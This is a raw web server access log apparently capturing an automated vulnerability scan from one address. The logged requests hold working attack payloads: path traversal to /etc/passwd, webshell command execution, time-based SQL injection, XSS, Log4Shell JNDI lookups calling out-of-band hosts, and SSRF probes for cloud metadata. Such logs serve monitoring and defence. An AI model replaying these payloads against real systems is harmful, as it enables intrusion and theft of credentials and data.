[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json/FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:54:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/checks HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /var/data/data.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbossass/jbossass.jsp?ppp=cat+%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/test.yml HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webauth_operation.php HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /karma.conf.js HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/realms/master/.well-known/openid-configuration HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/ HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?season=1&league_id=1season=1&league_id=1'+AND+(SELECT+1909+FROM+(SELECT(SLEEP(6)))ZiBf)--+qODp&match_day=1&match_day=1&team_id=1&team_id=1 HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?r=installer/welcome HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/manifest.json HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nobody/VerifyCode?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webui/device_info/device_info HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /var/resource_config.json HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.dev.js HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci HTTP/1.1" 199
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/6 HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jbpm-console/app/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/admin HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lucees3ezf%3cimg%20src%3da%20onerror%3dalert('380DIWoWs6F7pzUVFv1dcOJflwW')%3elujb7/admin/imgProcess.cfm HTTP/1.1" 199
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/ HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci HTTP/1.1" 199
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //explorer HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Business/ HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appmonitor/protected/selector/server_file/files?folder=/&suffix HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?login=lutron&password=lutron HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/error_log HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /a.htaccess HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/JMImplementation:type=MBeanServerDelegate/MBeanServerId HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/home/login.view HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /README.txt HTTP/1.1" 4760
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/logstash/pipeline/$%7Bjndi:ldap://$%7B:-463%7D$%7B:-710%7D.$%7BhostName%7D.username.d5g6to2hausk1oj0j65gezped48yrs3zs.oast.live/u6wiD%7D HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /homepage.nsf HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib../.git/config HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/jsonws HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.local HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/debug.log HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/V1/products HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/webservers.xml HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jkstatus-auth HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lucee/admin/web.cfm HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1 HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /telescope/requests HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/pods HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /secure/Signup.jspa HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/login HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /namespaces HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //kurd1943.html HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kylin/api/user/authentication HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/events/notifications/test HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /laravel-filemanager?type=Files HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/etc/local.xml HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downlot.php?file=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lucee/admin/web.cfm HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini HTTP/1.1" 199
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /site_admin/user/login HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftb.imagegallery.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clusters/local HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en/WEB-INF/web.xml;.js HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.save HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapi/v1/system/accountmanage/account HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lucee/doc/functions.cfm HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/liferay HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/install/ HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /view/viewer_index.shtml HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hub/login?next HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downloader/ HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.z HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /horizon/api/stats HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /magento_version HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /msa/main.xp?Fun=msaDataCenetrDownLoadMore+delflag=1+downLoadFileName=msagroup.txt+downLoadFile=../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jupyter/hub/lti/launch HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /magmi/web/js/magmi_utils.js HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.magnolia/admincentral HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dev/tests/functional/credentials.xml.dist HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sites/web_vhost_domain_list.php HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.1.json HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/sqlite.db HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jexws/jexws.jsp?ppp=type+C%3A%2FWindows%2Fwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/test.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lam/templates/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mailscanner/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /two_fact_auth HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ADSearch.cc?methodToCall=search HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /graphql?query=+{customerDownloadableProducts+{+items+{+date+download_url}}+} HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/normal_userLogin?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/kibana HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authorization.do HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.do HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iam/login HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lcms/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /configurations HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /feed/ShowImage.do;.js.jsp?type&imgName=../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lucee/lucees3ezf%3cimg%20src%3da%20onerror%3dalert('380DIWoWs6F7pzUVFv1dcOJflwW')%3elujb7/admin/imgProcess.cfm HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jsp/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apiclient/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apiclient/ember/Login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //express-graphql HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.prod.js HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/6 HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.html HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login_page.php HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/admin/master/console/ HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error.log HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationName HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.war HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htaccess_for_page_not_found_redirects.htaccess HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.tar HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://aws.oast.online/metadata/instance?api-version=2021-02-01 HTTP/1.1" 226
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationVendor HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://alibaba.oast.pro/dynamic/instance-identity/document HTTP/1.1" 226
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://aws.oast.online/latest/meta-data/ HTTP/1.1" 226
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/mobile.log HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.example HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lucee/admin/server.cfm HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=home HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://aws.oast.online/openstack/latest HTTP/1.1" 226
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /doc/CHANGELOG.txt HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clusterList HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/jsonws HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.//WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/geojson?url=${jndi:ldap://${:-964}${:-523}.${hostName}.url.d5g6to2hausk1oj0j65gknkbhieggwrdt.oast.live} HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //evil.html HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://aws.oast.online/opc/v1/instance HTTP/1.1" 226
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /filr/login HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://aws.oast.online/computeMetadata/v1/project/ HTTP/1.1" 226
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pics/logo_70x29px.gif HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_matrix/federation/v1/version HTTP/1.1" 196
